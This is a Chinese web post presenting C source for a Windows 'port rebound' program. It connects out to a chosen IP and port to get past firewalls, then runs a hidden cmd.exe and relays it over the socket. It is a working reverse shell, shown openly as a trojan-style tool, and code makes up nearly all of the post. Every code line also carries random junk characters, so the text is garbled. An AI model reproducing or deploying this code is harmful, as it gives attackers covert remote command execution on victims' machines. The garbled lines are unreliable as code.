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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 TPLv]$n  
39d$B'"<1  
/* ============================== DPCQqV|7  
Rebound port in Windows NT mC3:P5/c  
By wind,2006/7 R,fAl"wMu  
===============================*/ "bz.nE*  
#include 03_M+lv  
#include AW'$5 NF>  
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#pragma comment(lib,"wsock32.lib") .*Bd'\:F/q  
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void OutputShell(); J ~KygQ3%  
SOCKET sClient; v5&W)F  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; KL*+gq0k  
cC]]H&'Hg+  
void main(int argc,char **argv) i(*fv(z  
{ 9Q1w$t~Y  
WSADATA stWsaData; N,.awA{  
int nRet; .HRd6O;  
SOCKADDR_IN stSaiClient,stSaiServer; iBmvy 7S?  
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if(argc != 3) 9i D&y)$"  
{ v^;vH$B  
printf("Useage:\n\rRebound DestIP DestPort\n"); ..w$p-1  
return; q\<NW%KtX  
} *$3p3-  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 5bd4]1 gj  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Lhrlz,1  
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stSaiClient.sin_family = AF_INET; y|NY,{:]  
stSaiClient.sin_port = htons(0); W@i|=xS?  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); MO|Pv j~[  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) GIfs]zVr`  
{ Z-yoJZi  
printf("Bind Socket Failed!\n"); 5kADvi.  
return; 5DO}&%.xt  
} Vy^mEsQC+h  
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stSaiServer.sin_family = AF_INET; [z6P]eC7  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); :Zo^Uc:*w  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); b< []z,  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ,b?G]WQrHs  
{ :a:m>S<~  
printf("Connect Error!"); +n)bWB%  
return; *}_i[6_\E  
} WI.+9$1:P  
OutputShell(); %IDl+_j  
} (`u+(M!^  
.4[M-@4+]  
void OutputShell() ylDfr){  
{ @}uo:b:Q  
char szBuff[1024]; 44KWS~  
SECURITY_ATTRIBUTES stSecurityAttributes; j&b<YPZ  
OSVERSIONINFO stOsversionInfo; _Y$v=!fY&  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; <p+7,aE_  
STARTUPINFO stStartupInfo; RWoVN$i>  
char *szShell; EW3--33s  
PROCESS_INFORMATION stProcessInformation; / Xv@g$  
unsigned long lBytesRead; y)TBg8Q  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ,dF Y]  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); dj}P|v/;z  
stSecurityAttributes.lpSecurityDescriptor = 0; )Y"t$Iw"  
stSecurityAttributes.bInheritHandle = TRUE; `6LV XDR  
3$BO=hI/-  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 7|Iq4@IT  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); E.-2 /'i  
)}vUYTU1  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); tf1Y5P$  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Mko,((>I1  
stStartupInfo.wShowWindow = SW_HIDE; }uO2 x@  
stStartupInfo.hStdInput = hReadPipe; 4{b/Nv:b  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; v+dT7* ^@  
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GetVersionEx(&stOsversionInfo);  (C%qA<6  
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switch(stOsversionInfo.dwPlatformId) 3M'Y'Szm  
{ ej&o,gX  
case 1: o=F!&]+  
szShell = "command.com"; <l>L8{-3  
break; E/D@;Ym18  
default: 3wfJ!z-E8  
szShell = "cmd.exe"; U.<ad  
break; c:s[vghH^#  
} 6 \ %#=GG  
ZW 5FL-I  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); z^y -A ?  
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send(sClient,szMsg,77,0); FY]Et= p  
while(1) ~dLe9-_9  
{ ?3i<^@?  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 5"+;}E|q  
if(lBytesRead) dbF9%I@  
{ 5j _[z|W2  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); J`wx72/-ZW  
send(sClient,szBuff,lBytesRead,0); U;gy4rj  
} k_Lv\'Ok  
else HD z"i  
{ 9'KOc5@l^  
lBytesRead=recv(sClient,szBuff,1024,0); =S\pI  
if(lBytesRead<=0) break; lg 1r]  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); u:,B&}j  
} gV'=u z v  
} 7'@~TM  
wB<cW>6  
return; {P%\& \{F  
}
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